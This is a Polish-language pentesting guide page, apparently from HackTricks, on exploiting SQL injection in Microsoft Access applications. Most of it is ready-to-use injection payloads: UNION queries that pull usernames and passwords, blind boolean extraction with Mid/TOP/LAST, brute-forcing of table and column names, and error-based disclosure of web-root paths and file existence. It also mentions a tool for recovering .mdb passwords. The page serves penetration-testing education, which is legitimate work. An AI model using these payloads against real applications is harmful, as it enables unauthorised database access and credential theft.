hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2024-02-11 01:46:25 +00:00

10 KiB

Wstrzykiwanie SQL w MS Access

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Online Playground

Ograniczenia bazy danych

Konkatenacja ciągów znaków

Konkatenacja ciągów znaków jest możliwa za pomocą znaków & (%26) i + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Komentarze

W MS Access nie ma komentarzy, ale wydaje się, że można usunąć ostatnią część zapytania za pomocą znaku NULL:

1' union select 1,2 from table%00

Jeśli to nie działa, zawsze możesz poprawić składnię zapytania:

1' UNION SELECT 1,2 FROM table WHERE ''='

Zapytania zagnieżdżone

Nie są obsługiwane.

LIMIT

Operator LIMIT nie jest zaimplementowany. Jednakże, możliwe jest ograniczenie wyników zapytania SELECT do pierwszych N wierszy tabeli za pomocą operatora TOP. TOP przyjmuje jako argument liczbę całkowitą, reprezentującą liczbę zwracanych wierszy.

1' UNION SELECT TOP 3 attr FROM table%00

Tak jak w przypadku TOP, można użyć LAST, który pobierze wiersze od końca.

Zapytania UNION/Podzapytania

W SQLi zazwyczaj chcesz w jakiś sposób wykonać nowe zapytanie, aby wydobyć informacje z innych tabel. MS Access zawsze wymaga, aby w podzapytaniach lub dodatkowych zapytaniach wskazano FROM.
Więc jeśli chcesz wykonać UNION SELECT lub UNION ALL SELECT lub SELECT w nawiasach w warunku, zawsze musisz wskazać FROM z prawidłową nazwą tabeli.
Dlatego musisz znać prawidłową nazwę tabeli.

-1' UNION SELECT username,password from users%00

Łączenie równości + Podciąg

{% hint style="warning" %} To pozwoli Ci na wydobycie wartości z bieżącej tabeli bez konieczności znajomości nazwy tabeli. {% endhint %}

MS Access pozwala na dziwną składnię, taką jak '1'=2='3'='asd'=false. Jak zwykle, wstrzyknięcie SQL będzie znajdować się w klauzuli WHERE, więc możemy to wykorzystać.

Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadujesz), że jedna z nazw kolumn to username, a to pole chcesz wydobyć. Możesz sprawdzić różne odpowiedzi aplikacji internetowej, gdy używana jest technika łączenia równości i potencjalnie wydobyć zawartość za pomocą wstrzyknięcia booleanowego, używając funkcji Mid do pobierania podciągów.

'=(Mid(username,1,3)='adm')='

Jeśli znasz nazwę tabeli i kolumny, którą chcesz wydobyć, możesz użyć kombinacji funkcji Mid, LAST i TOP, aby wyciec wszystkie informacje za pomocą boolean SQLi:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Możesz to sprawdzić w internetowym środowisku testowym.

Brute-forcing nazw tabel

Za pomocą techniki łańcuchowego równania możesz również brute-force'ować nazwy tabel używając czegoś takiego jak:

'=(select+top+1+'lala'+from+<table_name>)='

Możesz również użyć bardziej tradycyjnej metody:

-1' AND (SELECT TOP 1 <table_name>)%00

Nie wahaj się sprawdzić tego w internetowym środowisku testowym.

Próba siłowa nazw kolumn

Możesz próbować siłowo nazw bieżących kolumn za pomocą sztuczki z łańcuchowaniem równości z:

'=column_name='

Lub z użyciem group by:

-1' GROUP BY column_name%00

Lub możesz przeprowadzić brutalne przełamanie nazw kolumn innego tabeli za pomocą:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Wydobywanie danych

Już omówiliśmy technikę łączenia równości do wydobywania danych z bieżących i innych tabel. Ale istnieją inne sposoby:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

W skrócie, zapytanie używa instrukcji "if-then", aby wywołać "200 OK" w przypadku sukcesu lub "500 Internal Error" w przeciwnym razie. Wykorzystując operator TOP 10, można wybrać pierwszych dziesięć wyników. Następne użycie LAST pozwala uwzględnić tylko 10. krotkę. Na tej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Poprawiając indeks MID i TOP, możemy wyciągnąć zawartość pola "username" dla wszystkich wierszy.

Oparte na czasie

Sprawdź https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Inne interesujące funkcje

  • Mid('admin',1,1) pobierz podciąg od pozycji 1 o długości 1 (początkowa pozycja to 1)
  • LEN('1234') pobierz długość ciągu znaków
  • ASC('A') pobierz wartość ASCII znaku
  • CHR(65) pobierz ciąg znaków z wartości ASCII
  • IIF(1=1,'a','b') jeśli to
  • COUNT(*) Liczba elementów

Wyliczanie tabel

Z tutaj możesz zobaczyć zapytanie, które pobiera nazwy tabel:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Jednakże, należy zauważyć, że bardzo często można znaleźć Wstrzyknięcia SQL, gdzie nie masz dostępu do odczytu tabeli MSysObjects.

Dostęp do systemu plików

Pełna ścieżka do katalogu głównego witryny

Wiedza o bezwzględnej ścieżce do katalogu głównego witryny może ułatwić dalsze ataki. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona podczas próby wyboru danych z nieistniejącej bazy danych.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access odpowiada komunikatem o błędzie zawierającym pełną ścieżkę katalogu witryny.

Wyliczanie plików

Następujący wektor ataku może być używany do wnioskowania o istnieniu pliku na zdalnym systemie plików. Jeśli określony plik istnieje, MS Access wywołuje komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Innym sposobem na wyliczenie plików jest określenie elementu bazy danych.tabela. Jeśli określony plik istnieje, MS Access wyświetla komunikat o błędzie formatu bazy danych.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Odgadywanie nazwy pliku .mdb

Nazwa pliku bazy danych (.mdb) może być wywnioskowana za pomocą następującego zapytania:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Gdzie name[i] to nazwa pliku .mdb i realTable to istniejąca tabela w bazie danych. Chociaż MS Access zawsze wywoła komunikat o błędzie, możliwe jest rozróżnienie między nieprawidłową nazwą pliku a prawidłową nazwą pliku .mdb.

Łamacz hasła .mdb

Access PassView to darmowe narzędzie, które można użyć do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: